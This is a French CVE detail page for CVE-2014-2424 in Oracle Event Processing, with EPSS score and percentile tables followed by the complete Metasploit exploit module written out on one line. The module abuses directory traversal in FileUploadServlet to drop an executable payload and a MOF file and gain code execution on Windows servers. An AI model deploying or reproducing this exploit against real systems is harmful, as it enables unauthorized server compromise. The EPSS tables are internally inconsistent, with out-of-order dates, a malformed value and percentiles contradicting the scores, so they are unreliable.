CVE-2014-2424 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	76.64%	–	–
2022-10-02	–	–	75.14%	–	–
2023-03-12	–	–	–	97.43%	–
2023-03-26	–	–	–	97.4%	–
2023-05-14	–	–	–	96.82%	–
2023-07-02	–	–	–	97.42%	–
2023-08-20	–	–	–	97.4%	–
2023-10-15	–	–	–	97.41%	–
2023-11-26	–	–	–	97.44%	–
2024-06-02	–	–	–	97.35%	–
2024-06-02	–	–	–	97.35%	–
2024-07-21	–	–	–	97.3%	–
2024-09-08	–	–	–	97.31%	–
2024-11-03	–	–	–	97.29%	–
2024-12-22	–	–	–	97.21%	–
2025-01-05	–	–	–	97.3%	–
2025-03-09	–	–	–	97.26%	–
2025-01-19	–	–	–	97.3%	–
2025-03-09	–	–	–	97.26%	–
2025-03-18	–	–	–	–	80.32%
2025-03-30	–	–	–	–	77.76%
2025-03-30	–	–	–	–	77.76,%

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Date	Percentile
2022-02-06	99%
2022-10-02	99%
2023-03-12	1%
2023-03-26	1%
2023-05-14	99%
2023-07-02	1%
2023-08-20	1%
2023-10-15	1%
2023-11-26	1%
2024-06-02	1%
2024-06-02	1%
2024-07-21	1%
2024-09-08	1%
2024-11-03	1%
2024-12-22	1%
2025-01-05	1%
2025-03-09	1%
2025-01-19	1%
2025-03-09	1%
2025-03-18	99%
2025-03-30	99%
2025-03-30	99%

## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::EXE include Msf::Exploit::WbemExec include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, 'Name' => 'Oracle Event Processing FileUploadServlet Arbitrary File Upload', 'Description' => %q{ This module exploits an Arbitrary File Upload vulnerability in Oracle Event Processing 11.1.1.7.0. The FileUploadServlet component, which requires no authentication, can be abused to upload a malicious file onto an arbitrary location due to a directory traversal flaw, and compromise the server. By default Oracle Event Processing uses a Jetty Application Server without JSP support, which limits the attack to WbemExec. The current WbemExec technique only requires arbitrary write to the file system, but at the moment the module only supports Windows 2003 SP2 or older. }, 'License' => MSF_LICENSE, 'Author' => [ 'rgod <rgod[at]autistici.org>', # Vulnerability Discovery 'juan vazquez' # Metasploit module ], 'References' => [ ['CVE', '2014-2424'], ['ZDI', '14-106'], ['BID', '66871'], ['URL', 'http://www.oracle.com/technetwork/topics/security/cpuapr2014-1972952.html'] ], 'DefaultOptions' => { 'WfsDelay' => 5 }, 'Payload' => { 'DisableNops' => true, 'Space' => 2048 }, 'Platform' => 'win', 'Arch' => ARCH_X86, 'Targets' => [ ['Oracle Event Processing 11.1.1.7.0 / Windows 2003 SP2 through WMI', {}] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Apr 21 2014')) register_options( [ Opt::RPORT(9002), # By default, uploads are stored in: # C:\Oracle\Middleware\user_projects\domains\<DOMAIN>\defaultserver\upload\ OptInt.new('DEPTH', [true, 'Traversal depth', 7]) ], self.class) end def upload(file_name, contents) post_data = Rex::MIME::Message.new post_data.add_part(rand_text_alpha(4 + rand(4)), nil, nil, "form-data; name=\"Filename\"") post_data.add_part(contents, "application/octet-stream", "binary", "form-data; name=\"uploadfile\"; filename=\"#{file_name}\"") data = post_data.to_s res = send_request_cgi({ 'uri' => '/wlevs/visualizer/upload', 'method' => 'POST', 'ctype' => "multipart/form-data; boundary=#{post_data.bound}", 'data' => data }) res end def traversal "../" * datastore['DEPTH'] end def exploit print_status("#{peer} - Generating payload and mof file...") mof_name = "#{rand_text_alpha(rand(5)+5)}.mof" exe_name = "#{rand_text_alpha(rand(5)+5)}.exe" exe_content = generate_payload_exe mof_content = generate_mof(mof_name, exe_name) print_status("#{peer} - Uploading the exe payload #{exe_name}...") exe_traversal = "#{traversal}WINDOWS/system32/#{exe_name}" res = upload(exe_traversal, exe_content) unless res && res.code == 200 && res.body.blank? print_error("#{peer} - Unexpected answer, trying anyway...") end register_file_for_cleanup(exe_name) print_status("#{peer} - Uploading the MOF file #{mof_name}") mof_traversal = "#{traversal}WINDOWS/system32/wbem/mof/#{mof_name}" upload(mof_traversal, mof_content) register_file_for_cleanup("wbem/mof/good/#{mof_name}") end def check res = send_request_cgi({ 'uri' => '/ohw/help/state', 'method' => 'GET', 'vars_get' => { 'navSetId' => 'cepvi', 'navId' => '0', 'destination' => '' } }) if res && res.code == 200 if res.body.to_s.include?("Oracle Event Processing 11g Release 1 (11.1.1.7.0)") return Exploit::CheckCode::Detected elsif res.body.to_s.include?("Oracle Event Processing 12") return Exploit::CheckCode::Safe end end Exploit::CheckCode::Unknown end end